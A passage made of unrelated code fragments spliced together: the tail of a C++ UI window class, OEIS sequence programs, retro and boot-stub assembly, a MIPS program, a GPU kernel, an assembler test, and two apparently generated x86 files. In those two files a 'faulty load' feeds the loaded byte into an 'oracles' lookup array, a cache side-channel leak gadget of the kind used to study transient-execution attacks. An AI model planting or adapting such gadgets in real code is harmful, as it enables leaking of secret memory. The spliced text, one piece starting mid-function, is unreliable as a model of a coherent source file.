Size.x < mMinWindowSize.x && Size.y < mMinWindowSize.y ) { Size = mMinWindowSize; } else if ( Size.x < mMinWindowSize.x ) { Size.x = mMinWindowSize.x; } else { Size.y = mMinWindowSize.y; } } if ( Size != mSize ) { mSize = Size; OnSizeChange(); } } void cUIWindow::Draw() { cUIComplexControl::Draw(); if ( mWinFlags & UI_WIN_DRAW_SHADOW ) { cPrimitives P; P.ForceDraw( false ); eeColorA BeginC( 0, 0, 0, 25 * ( Alpha() / (eeFloat)255 ) ); eeColorA EndC( 0, 0, 0, 0 ); eeFloat SSize = 16.f; eeVector2i ShadowPos = mScreenPos + eeVector2i( 0, 16 ); P.DrawRectangle( eeRectf( eeVector2f( ShadowPos.x, ShadowPos.y ), eeSizef( mSize.Width(), mSize.Height() ) ), BeginC, BeginC, BeginC, BeginC ); P.DrawRectangle( eeRectf( eeVector2f( ShadowPos.x, ShadowPos.y - SSize ), eeSizef( mSize.Width(), SSize ) ), EndC, BeginC, BeginC, EndC ); P.DrawRectangle( eeRectf( eeVector2f( ShadowPos.x - SSize, ShadowPos.y ), eeSizef( SSize, mSize.Height() ) ), EndC, EndC, BeginC, BeginC ); P.DrawRectangle( eeRectf( eeVector2f( ShadowPos.x + mSize.Width(), ShadowPos.y ), eeSizef( SSize, mSize.Height() ) ), BeginC, BeginC, EndC, EndC ); P.DrawRectangle( eeRectf( eeVector2f( ShadowPos.x, ShadowPos.y + mSize.Height() ), eeSizef( mSize.Width(), SSize ) ), BeginC, EndC, EndC, BeginC ); P.DrawTriangle( eeTriangle2f( eeVector2f( ShadowPos.x + mSize.Width(), ShadowPos.y ), eeVector2f( ShadowPos.x + mSize.Width(), ShadowPos.y - SSize ), eeVector2f( ShadowPos.x + mSize.Width() + SSize, ShadowPos.y ) ), BeginC, EndC, EndC ); P.DrawTriangle( eeTriangle2f( eeVector2f( ShadowPos.x, ShadowPos.y ), eeVector2f( ShadowPos.x, ShadowPos.y - SSize ), eeVector2f( ShadowPos.x - SSize, ShadowPos.y ) ), BeginC, EndC, EndC ); P.DrawTriangle( eeTriangle2f( eeVector2f( ShadowPos.x + mSize.Width(), ShadowPos.y + mSize.Height() ), eeVector2f( ShadowPos.x + mSize.Width(), ShadowPos.y + mSize.Height() + SSize ), eeVector2f( ShadowPos.x + mSize.Width() + SSize, ShadowPos.y + mSize.Height() ) ), BeginC, EndC, EndC ); P.DrawTriangle( eeTriangle2f( eeVector2f( ShadowPos.x, ShadowPos.y + mSize.Height() ), eeVector2f( ShadowPos.x - SSize, ShadowPos.y + mSize.Height() ), eeVector2f( ShadowPos.x, ShadowPos.y + mSize.Height() + SSize ) ), BeginC, EndC, EndC ); P.ForceDraw( true ); } } void cUIWindow::Update() { ResizeCursor(); cUIComplexControl::Update(); UpdateResize(); } cUIControlAnim * cUIWindow::Container() const { return mContainer; } cUIComplexControl * cUIWindow::ButtonClose() const { return mButtonClose; } cUIComplexControl * cUIWindow::ButtonMaximize() const { return mButtonMaximize; } cUIComplexControl * cUIWindow::ButtonMinimize() const { return mButtonMinimize; } bool cUIWindow::Show() { if ( !Visible() ) { Enabled( true ); Visible( true ); SetFocus(); if ( mBaseAlpha == Alpha() ) { StartAlphaAnim( 0.f, mBaseAlpha, cUIThemeManager::instance()->ControlsFadeInTime() ); } else { StartAlphaAnim( mAlpha, mBaseAlpha, cUIThemeManager::instance()->ControlsFadeInTime() ); } if ( IsModal() ) { CreateModalControl(); mModalCtrl->Enabled( true ); mModalCtrl->Visible( true ); mModalCtrl->ToFront(); ToFront(); } return true; } return false; } bool cUIWindow::Hide() { if ( Visible() ) { if ( cUIThemeManager::instance()->DefaultEffectsEnabled() ) { DisableFadeOut( cUIThemeManager::instance()->ControlsFadeOutTime() ); } else { Enabled( false ); Visible( false ); } cUIManager::instance()->MainControl()->SetFocus(); if ( NULL != mModalCtrl ) { mModalCtrl->Enabled( false ); mModalCtrl->Visible( false ); } return true; } return false; } void cUIWindow::OnAlphaChange() { if ( mWinFlags & UI_WIN_SHARE_ALPHA_WITH_CHILDS ) { cUIControlAnim * AnimChild; cUIControl * CurChild = mChild; while ( NULL != CurChild ) { if ( CurChild->IsAnimated() ) { AnimChild = reinterpret_cast<cUIControlAnim*> ( CurChild ); AnimChild->Alpha( mAlpha ); } CurChild = CurChild->NextGet(); } } cUIComplexControl::OnAlphaChange(); } void cUIWindow::BaseAlpha( const Uint8& Alpha ) { if ( mAlpha == mBaseAlpha ) { cUIControlAnim::Alpha( Alpha ); } mBaseAlpha = Alpha; } const Uint8& cUIWindow::BaseAlpha() const { return mBaseAlpha; } void cUIWindow::Title( const String& Text ) { if ( NULL == mTitle ) { cUITextBox::CreateParams Params; Params.Parent( this ); Params.Flags = UI_CLIP_ENABLE | UI_VALIGN_CENTER; Params.FontColor = mTitleFontColor; if ( mFlags & UI_HALIGN_CENTER ) Params.Flags |= UI_HALIGN_CENTER; if ( mFlags & UI_DRAW_SHADOW ) Params.Flags |= UI_DRAW_SHADOW; mTitle = eeNew( cUITextBox, ( Params ) ); mTitle->Enabled( false ); mTitle->Visible( true ); } mTitle->Text( Text ); FixTitleSize(); } void cUIWindow::FixTitleSize() { if ( NULL != mWindowDecoration && NULL != mTitle ) { mTitle->Size( mWindowDecoration->Size().Width() - mBorderLeft->Size().Width() - mBorderRight->Size().Width(), mWindowDecoration->Size().Height() ); mTitle->Pos( mBorderLeft->Size().Width(), 0 ); } } String cUIWindow::Title() const { if ( NULL != mTitle ) return mTitle->Text(); return String(); } cUITextBox * cUIWindow::TitleTextBox() const { return mTitle; } void cUIWindow::Maximize() { cUIControl * Ctrl = cUIManager::instance()->MainControl(); if ( Ctrl->Size() == mSize ) { Pos( mNonMaxPos ); InternalSize( mNonMaxSize ); } else { mNonMaxPos = mPos; mNonMaxSize = mSize; Pos( 0, 0 ); InternalSize( cUIManager::instance()->MainControl()->Size() ); } } Uint32 cUIWindow::OnMouseDoubleClick( const eeVector2i &Pos, const Uint32 Flags ) { if ( ( mWinFlags & UI_WIN_RESIZEABLE ) && ( NULL != mButtonMaximize ) && ( Flags & EE_BUTTON_LMASK ) ) { ButtonMaximizeClick( NULL ); } return 1; } Uint32 cUIWindow::OnKeyDown( const cUIEventKey &Event ) { CheckShortcuts( Event.KeyCode(), Event.Mod() ); return cUIComplexControl::OnKeyDown( Event ); } void cUIWindow::CheckShortcuts( const Uint32& KeyCode, const Uint32& Mod ) { for ( KeyboardShortcuts::iterator it = mKbShortcuts.begin(); it != mKbShortcuts.end(); it++ ) { KeyboardShortcut kb = (*it); if ( KeyCode == kb.KeyCode && ( Mod & kb.Mod ) ) { cUIManager::instance()->SendMouseUp( kb.Button, eeVector2i(0,0), EE_BUTTON_LMASK ); cUIManager::instance()->SendMouseClick( kb.Button, eeVector2i(0,0), EE_BUTTON_LMASK ); } } } cUIWindow::KeyboardShortcuts::iterator cUIWindow::ExistsShortcut( const Uint32& KeyCode, const Uint32& Mod ) { for ( KeyboardShortcuts::iterator it = mKbShortcuts.begin(); it != mKbShortcuts.end(); it++ ) { if ( (*it).KeyCode == KeyCode && (*it).Mod == Mod ) return it; } return mKbShortcuts.end(); } bool cUIWindow::AddShortcut( const Uint32& KeyCode, const Uint32& Mod, cUIPushButton * Button ) { if ( InParentTreeOf( Button ) && mKbShortcuts.end() == ExistsShortcut( KeyCode, Mod ) ) { mKbShortcuts.push_back( KeyboardShortcut( KeyCode, Mod, Button ) ); return true; } return false; } bool cUIWindow::RemoveShortcut( const Uint32& KeyCode, const Uint32& Mod ) { KeyboardShortcuts::iterator it = ExistsShortcut( KeyCode, Mod ); if ( mKbShortcuts.end() != it ) { mKbShortcuts.erase( it ); return true; } return false; } bool cUIWindow::IsMaximixable() { return 0 != ( ( mWinFlags & UI_WIN_RESIZEABLE ) && ( mWinFlags & UI_WIN_MAXIMIZE_BUTTON ) ); } bool cUIWindow::IsModal() { return 0 != ( mWinFlags & UI_WIN_MODAL ); } cUIControlAnim * cUIWindow::GetModalControl() const { return mModalCtrl; } void cUIWindow::ResizeCursor() { cUIManager * Man = cUIManager::instance(); if ( !IsMouseOverMeOrChilds() || !Man->UseGlobalCursors() || ( mWinFlags & UI_WIN_NO_BORDER ) || !( mWinFlags & UI_WIN_RESIZEABLE ) ) return; eeVector2i Pos = Man->GetMousePos(); WorldToControl( Pos ); const cUIControl * Control = Man->OverControl(); if ( Control == this ) { if ( Pos.x <= mBorderLeft->Size().Width() ) { Man->SetCursor( EE_CURSOR_SIZENWSE ); // RESIZE_TOPLEFT } else if ( Pos.x >= ( mSize.Width() - mBorderRight->Size().Width() ) ) { Man->SetCursor( EE_CURSOR_SIZENESW ); // RESIZE_TOPRIGHT } else if ( Pos.y <= mBorderBottom->Size().Height() ) { if ( Pos.x < mMinCornerDistance ) { Man->SetCursor( EE_CURSOR_SIZENWSE ); // RESIZE_TOPLEFT } else if ( Pos.x > mSize.Width() - mMinCornerDistance ) { Man->SetCursor( EE_CURSOR_SIZENESW ); // RESIZE_TOPRIGHT } else { Man->SetCursor( EE_CURSOR_SIZENS ); // RESIZE_TOP } } else if ( !( cUIManager::instance()->PressTrigger() & EE_BUTTON_LMASK ) ) { Man->SetCursor( EE_CURSOR_ARROW ); } } else if ( Control == mBorderBottom ) { if ( Pos.x < mMinCornerDistance ) { Man->SetCursor( EE_CURSOR_SIZENESW ); // RESIZE_LEFTBOTTOM } else if ( Pos.x > mSize.Width() - mMinCornerDistance ) { Man->SetCursor( EE_CURSOR_SIZENWSE ); // RESIZE_RIGHTBOTTOM } else { Man->SetCursor( EE_CURSOR_SIZENS ); // RESIZE_BOTTOM } } else if ( Control == mBorderLeft ) { if ( Pos.y >= mSize.Height() - mMinCornerDistance ) { Man->SetCursor( EE_CURSOR_SIZENESW ); // RESIZE_LEFTBOTTOM } else { Man->SetCursor( EE_CURSOR_SIZEWE ); // RESIZE_LEFT } } else if ( Control == mBorderRight ) { if ( Pos.y >= mSize.Height() - mMinCornerDistance ) { Man->SetCursor( EE_CURSOR_SIZENWSE ); // RESIZE_RIGHTBOTTOM } else { Man->SetCursor( EE_CURSOR_SIZEWE ); // RESIZE_RIGHT } } } }}
; A053808: Partial sums of A001891. ; 1,5,15,36,76,148,273,485,839,1424,2384,3952,6505,10653,17383,28292,45964,74580,120905,195885,317231,513600,831360,1345536,2177521,3523733,5701983,9226500,14929324,24156724,39087009,63244757,102332855,165578768,267912848,433492912,701407129,1134901485,1836310135,2971213220,4807525036,7778740020,12586266905,20365008861,32951277791,53316288768,86267568768,139583859840,225851431009,365435293349,591286726959,956722023012,1548008752780,2504730778708,4052739534513,6557470316357,10610209854119 add $0,2 lpb $0 sub $0,1 mov $2,$0 max $2,0 seq $2,1891 ; Hit polynomials; convolution of natural numbers with Fibonacci numbers F(2), F(3), F(4),.... add $1,$2 lpe mov $0,$1
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; Busy soft ;; 26.11.2018 ;; Tape generating library usage example ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; org #8000 start ld hl,#0000 ld de,#4000 ld bc,#1B00 ldir ret length = $-start include TapLib.asm MakeTape ZXSPECTRUM48, "Example.tap", "Example", start, length, start
; A270810: Expansion of (x - x^2 + 2*x^3 + 2*x^4)/(1 - 3*x + 2*x^2). ; 0,1,2,6,16,36,76,156,316,636,1276,2556,5116,10236,20476,40956,81916,163836,327676,655356,1310716,2621436,5242876,10485756,20971516,41943036,83886076,167772156,335544316,671088636,1342177276,2684354556,5368709116,10737418236,21474836476,42949672956,85899345916,171798691836,343597383676,687194767356,1374389534716,2748779069436,5497558138876,10995116277756,21990232555516,43980465111036,87960930222076,175921860444156,351843720888316,703687441776636,1407374883553276,2814749767106556,5629499534213116 mov $3,5 lpb $0,1 sub $0,1 mov $1,$2 add $1,1 mov $2,$3 trn $2,6 add $2,1 mul $3,2 lpe
; A030191: Scaled Chebyshev U-polynomial evaluated at sqrt(5)/2. ; 1,5,20,75,275,1000,3625,13125,47500,171875,621875,2250000,8140625,29453125,106562500,385546875,1394921875,5046875000,18259765625,66064453125,239023437500,864794921875,3128857421875,11320312500000,40957275390625,148184814453125,536137695312500,1939764404296875,7018133544921875,25391845703125000,91868560791015625,332383575439453125,1202575073242187500,4350957489013671875,15741912078857421875,56954772949218750000,206064304351806640625,745547657012939453125,2697416763305664062500,9759345531463623046875,35309643840789794921875,127751491546630859375000,462209238529205322265625,1672288734912872314453125,6050397481918334960937500,21890543735027313232421875,79200731265544891357421875,286550937652587890625000000,1036751031935214996337890625,3751000471413135528564453125,13571247197389602661132812500,49101233629882335662841796875,177649932162463665008544921875,642743492662906646728515625000,2325467802502214908599853515625,8413621549196541309356689453125,30440768733471632003784179687500,110135735921375453472137451171875,398474835939519107341766357421875,1441695500090718269348144531250000,5216103320755995810031890869140625,18872039103326387703418731689453125,68279678912851959466934204101562500,247038199047627858817577362060546875,893792600673879496753215789794921875 mul $0,2 mov $1,1 lpb $0 sub $0,2 sub $1,$2 add $2,$1 mul $1,5 lpe mov $0,$1
; Copyright (c) 2021. kms1212(Minsu Kwon) ; This file is part of OpenFSL. ; ; OpenFSL and its source code is published over BSD 3-Clause License. ; See the BSD-3-Clause for more details. ; <https://raw.githubusercontent.com/kms1212/OpenFSL/main/LICENSE> [BITS 16] [ORG 0x0] ; Code [SECTION .text] global _start _start: cli xor ax, ax mov ds, ax cld mov si, stub_message call print_str mov ah, 0x00 int 0x16 cmp al, 0x1B je int19 int18: int 0x18 jmp halt int19: int 0x19 jmp halt halt: hlt jmp halt print_str: pusha .printloop: lodsb or al, al jz .return mov ah, 0x0E mov bh, 0x00 mov bl, 0x07 int 0x10 jmp .printloop .return: popa ret ; Data stub_message: db 0x0D, 0x0A, " 1. Press Esc to reboot." db 0x0D, 0x0A, " 2. Press any other key to boot from other disk.", 0x0D, 0x0A, 0x00
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r8 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0x16a31, %r12 nop nop cmp %r8, %r8 mov $0x6162636465666768, %rcx movq %rcx, (%r12) nop nop nop cmp $49798, %rcx lea addresses_A_ht+0xae39, %rsi lea addresses_WT_ht+0x11cf1, %rdi nop nop cmp %rbx, %rbx mov $29, %rcx rep movsq dec %rsi lea addresses_A_ht+0x13b41, %rsi lea addresses_D_ht+0x7ad1, %rdi clflush (%rsi) nop nop nop nop nop sub $12840, %rax mov $65, %rcx rep movsl nop nop sub %rdi, %rdi pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r8 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r13 push %r14 push %r9 push %rdx // Store mov $0x331, %r14 nop nop inc %rdx mov $0x5152535455565758, %r13 movq %r13, %xmm1 vmovntdq %ymm1, (%r14) nop nop nop nop nop xor %r12, %r12 // Faulty Load lea addresses_D+0x1e631, %r9 nop and $48705, %r10 movups (%r9), %xmm2 vpextrq $0, %xmm2, %r14 lea oracles, %r12 and $0xff, %r14 shlq $12, %r14 mov (%r12,%r14,1), %r14 pop %rdx pop %r9 pop %r14 pop %r13 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_D', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_P', 'same': False, 'size': 32, 'congruent': 7, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_D', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 8, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'} {'36': 67} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
.data prompt: .asciiz "Enter the number: " msg: .asciiz "The sum of all natural numbers till the given number is: " .text main: la $a0, prompt li $v0, 4 syscall li $v0, 5 syscall move $t0, $v0 move $t1, $zero move $t4, $zero loopchk: slt $t2, $t1, $t0 beq $t2, $zero, loopexit add $t4, $t4, $t1 addi $t1, 1 j loopchk loopexit: add $t4, $t4, $t0 la $a0, msg li $v0, 4 syscall move $a0, $t4 li $v0, 1 syscall li $v0, 10 syscall
; A188862: Number of n X 5 binary arrays without the pattern 0 1 diagonally, vertically or antidiagonally. ; 32,99,178,259,340,421,502,583,664,745,826,907,988,1069,1150,1231,1312,1393,1474,1555,1636,1717,1798,1879,1960,2041,2122,2203,2284,2365,2446,2527,2608,2689,2770,2851,2932,3013,3094,3175,3256,3337,3418,3499,3580,3661,3742,3823,3904,3985,4066,4147,4228,4309,4390,4471,4552,4633,4714,4795,4876,4957,5038,5119,5200,5281,5362,5443,5524,5605,5686,5767,5848,5929,6010,6091,6172,6253,6334,6415,6496,6577,6658,6739,6820,6901,6982,7063,7144,7225,7306,7387,7468,7549,7630,7711,7792,7873,7954,8035,8116,8197,8278,8359,8440,8521,8602,8683,8764,8845,8926,9007,9088,9169,9250,9331,9412,9493,9574,9655,9736,9817,9898,9979,10060,10141,10222,10303,10384,10465,10546,10627,10708,10789,10870,10951,11032,11113,11194,11275,11356,11437,11518,11599,11680,11761,11842,11923,12004,12085,12166,12247,12328,12409,12490,12571,12652,12733,12814,12895,12976,13057,13138,13219,13300,13381,13462,13543,13624,13705,13786,13867,13948,14029,14110,14191,14272,14353,14434,14515,14596,14677,14758,14839,14920,15001,15082,15163,15244,15325,15406,15487,15568,15649,15730,15811,15892,15973,16054,16135 mov $1,2 trn $1,$0 pow $1,3 mul $1,2 add $1,16 mov $2,$0 mul $2,81 add $1,$2
/* * All Video Processing kernels * Copyright © <2010>, Intel Corporation. * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sub license, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice (including the * next paragraph) shall be included in all copies or substantial portions * of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. * IN NO EVENT SHALL PRECISION INSIGHT AND/OR ITS SUPPLIERS BE LIABLE FOR * ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * This file was originally licensed under the following license * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ //---------- PL2_Scaling.asm ---------- #include "Scaling.inc" // Build 16 elements ramp in float32 and normalized it // mov (8) SAMPLER_RAMP(0)<1> 0x76543210:v // add (8) SAMPLER_RAMP(1)<1> SAMPLER_RAMP(0) 8.0:f mov (4) SAMPLER_RAMP(0)<1> 0x48403000:vf //3, 2, 1, 0 in float vector mov (4) SAMPLER_RAMP(0,4)<1> 0x5C585450:vf //7, 6, 5, 4 in float vector add (8) SAMPLER_RAMP(1)<1> SAMPLER_RAMP(0) 8.0:f //Module: PrepareScaleCoord.asm // Setup for sampler msg hdr mov (2) rMSGSRC.0<1>:ud 0:ud { NoDDClr } // Unused fields mov (1) rMSGSRC.2<1>:ud 0:ud { NoDDChk } // Write and offset // Calculate 16 v based on the step Y and vertical origin mov (16) mfMSGPAYLOAD(2)<1> fSRC_VID_V_ORI<0;1,0>:f mov (16) SCALE_COORD_Y<1>:f fSRC_VID_V_ORI<0;1,0>:f // Calculate 16 u based on the step X and hori origin // line (16) mfMSGPAYLOAD(0)<1> SCALE_STEP_X<0;1,0>:f SAMPLER_RAMP(0) // Assign to mrf directly mov (16) acc0:f fSRC_VID_H_ORI<0;1,0>:f { Compr } mac (16) mfMSGPAYLOAD(0)<1> fVIDEO_STEP_X<0;1,0>:f SAMPLER_RAMP(0) { Compr } //Setup the constants for line instruction mov (1) SCALE_LINE_P255<1>:f 255.0:f { NoDDClr } //{ NoDDClr, NoDDChk } mov (1) SCALE_LINE_P0_5<1>:f 0.5:f { NoDDChk } //------------------------------------------------------------------------------ $for (0; <nY_NUM_OF_ROWS; 1) { // Read 16 sampled pixels and store them in float32 in 8 GRFs in the order of BGRA (VYUA). mov (8) MSGHDR_SCALE.0:ud rMSGSRC.0<8;8,1>:ud // Copy msg header and payload mirrors to MRFs send (16) SCALE_RESPONSE_YW(0)<1> MSGHDR_SCALE udDUMMY_NULL nSMPL_ENGINE SMPLR_MSG_DSC+nSI_SRC_SIMD16_Y+nBI_CURRENT_SRC_Y send (16) SCALE_RESPONSE_UW(0)<1> MSGHDR_SCALE udDUMMY_NULL nSMPL_ENGINE SMPLR_MSG_DSC+nSI_SRC_SIMD16_UV+nBI_CURRENT_SRC_UV // Calculate 16 v for next line add (16) mfMSGPAYLOAD(2)<1> SCALE_COORD_Y<8;8,1>:f fVIDEO_STEP_Y<0;1,0>:f // Assign to mrf directly add (16) SCALE_COORD_Y<1>:f SCALE_COORD_Y<8;8,1>:f fVIDEO_STEP_Y<0;1,0>:f // Assign to mrf directly // Scale back to [0, 255], convert f to ud line (16) acc0:f SCALE_LINE_P255<0;1,0>:f SCALE_RESPONSE_YF(0) { Compr } // Process B, V mov (16) SCALE_RESPONSE_YD(0)<1> acc0:f { Compr } line (16) acc0:f SCALE_LINE_P255<0;1,0>:f SCALE_RESPONSE_UF(0) { Compr } // Process B, V mov (16) SCALE_RESPONSE_UD(0)<1> acc0:f { Compr } line (16) acc0:f SCALE_LINE_P255<0;1,0>:f SCALE_RESPONSE_UF(2) { Compr } // Process B, V mov (16) SCALE_RESPONSE_UD(2)<1> acc0:f { Compr } mov (16) DEST_Y(%1)<1> SCALE_RESPONSE_YB(0) //possible error due to truncation - vK mov (16) DEST_U(%1)<1> SCALE_RESPONSE_UB(0) //possible error due to truncation - vK mov (16) DEST_V(%1)<1> SCALE_RESPONSE_UB(2) //possible error due to truncation - vK } #define nSRC_REGION nREGION_1 //------------------------------------------------------------------------------
SECTION UNION "a", WRAM0 a1: ; This is here to check that the two `a1` don't conflict ds 42 a2:: SECTION UNION "b", WRAMX[$DAB0] ds 2 b2:: SECTION UNION "c", HRAM[$FFC0] b1: ; Same but in different sections now ds 5 c2:: SECTION "output 2", ROM0 dw a1,a2 dw b1,b2 dw c1,c2
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r14 push %r15 push %r9 push %rcx push %rdi push %rsi lea addresses_A_ht+0x13480, %rdi nop nop nop nop nop cmp %r15, %r15 mov $0x6162636465666768, %r9 movq %r9, %xmm6 movups %xmm6, (%rdi) nop nop nop nop xor $40540, %r14 lea addresses_normal_ht+0x10700, %rsi lea addresses_WT_ht+0xe880, %rdi add %r12, %r12 mov $68, %rcx rep movsq nop dec %r15 lea addresses_WT_ht+0x1afe0, %r12 nop nop nop nop nop and %r15, %r15 movl $0x61626364, (%r12) nop dec %r12 lea addresses_D_ht+0xd700, %rsi lea addresses_WC_ht+0x12a0, %rdi nop dec %r13 mov $11, %rcx rep movsq sub %rsi, %rsi lea addresses_D_ht+0xcdc0, %rsi lea addresses_A_ht+0x1c180, %rdi nop nop nop nop nop add $21439, %r15 mov $9, %rcx rep movsw cmp %r12, %r12 lea addresses_normal_ht+0x10780, %rsi lea addresses_WC_ht+0x6f80, %rdi clflush (%rdi) nop nop cmp %r9, %r9 mov $96, %rcx rep movsl nop and $15924, %r9 lea addresses_UC_ht+0x8bcc, %rsi clflush (%rsi) nop nop nop nop nop xor %r12, %r12 mov $0x6162636465666768, %r9 movq %r9, %xmm1 vmovups %ymm1, (%rsi) lfence lea addresses_WC_ht+0x1030, %r12 nop nop cmp $65525, %rcx and $0xffffffffffffffc0, %r12 vmovaps (%r12), %ymm5 vextracti128 $1, %ymm5, %xmm5 vpextrq $1, %xmm5, %r13 nop cmp $51737, %r12 lea addresses_UC_ht+0x9be4, %r9 nop inc %r15 movb $0x61, (%r9) nop nop nop nop nop xor %rcx, %rcx lea addresses_D_ht+0x28b0, %rsi lea addresses_D_ht+0xc080, %rdi nop nop nop nop and $30679, %r14 mov $7, %rcx rep movsl nop nop and $64439, %rsi pop %rsi pop %rdi pop %rcx pop %r9 pop %r15 pop %r14 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r14 push %r8 push %rax push %rcx push %rdi push %rdx push %rsi // Load lea addresses_US+0x6800, %rdi nop nop nop and $59410, %rdx mov (%rdi), %r14d nop nop nop nop nop xor %rax, %rax // Store lea addresses_UC+0x17b10, %rdx cmp %r8, %r8 mov $0x5152535455565758, %r14 movq %r14, %xmm5 movups %xmm5, (%rdx) nop nop cmp %r8, %r8 // Store mov $0xe189d0000000480, %rax nop nop nop nop xor $29269, %r12 mov $0x5152535455565758, %rdi movq %rdi, %xmm6 vmovups %ymm6, (%rax) nop nop nop add $34300, %r12 // REPMOV lea addresses_US+0xd080, %rsi lea addresses_US+0x1ce80, %rdi sub %rax, %rax mov $45, %rcx rep movsb // Exception!!! nop nop mov (0), %rcx and $25425, %rax // Faulty Load lea addresses_US+0x1a880, %r11 nop sub %rcx, %rcx mov (%r11), %di lea oracles, %r11 and $0xff, %rdi shlq $12, %rdi mov (%r11,%rdi,1), %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r8 pop %r14 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 4, 'AVXalign': False, 'NT': True, 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_US', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_US', 'congruent': 5, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 2, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}} {'00': 76} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
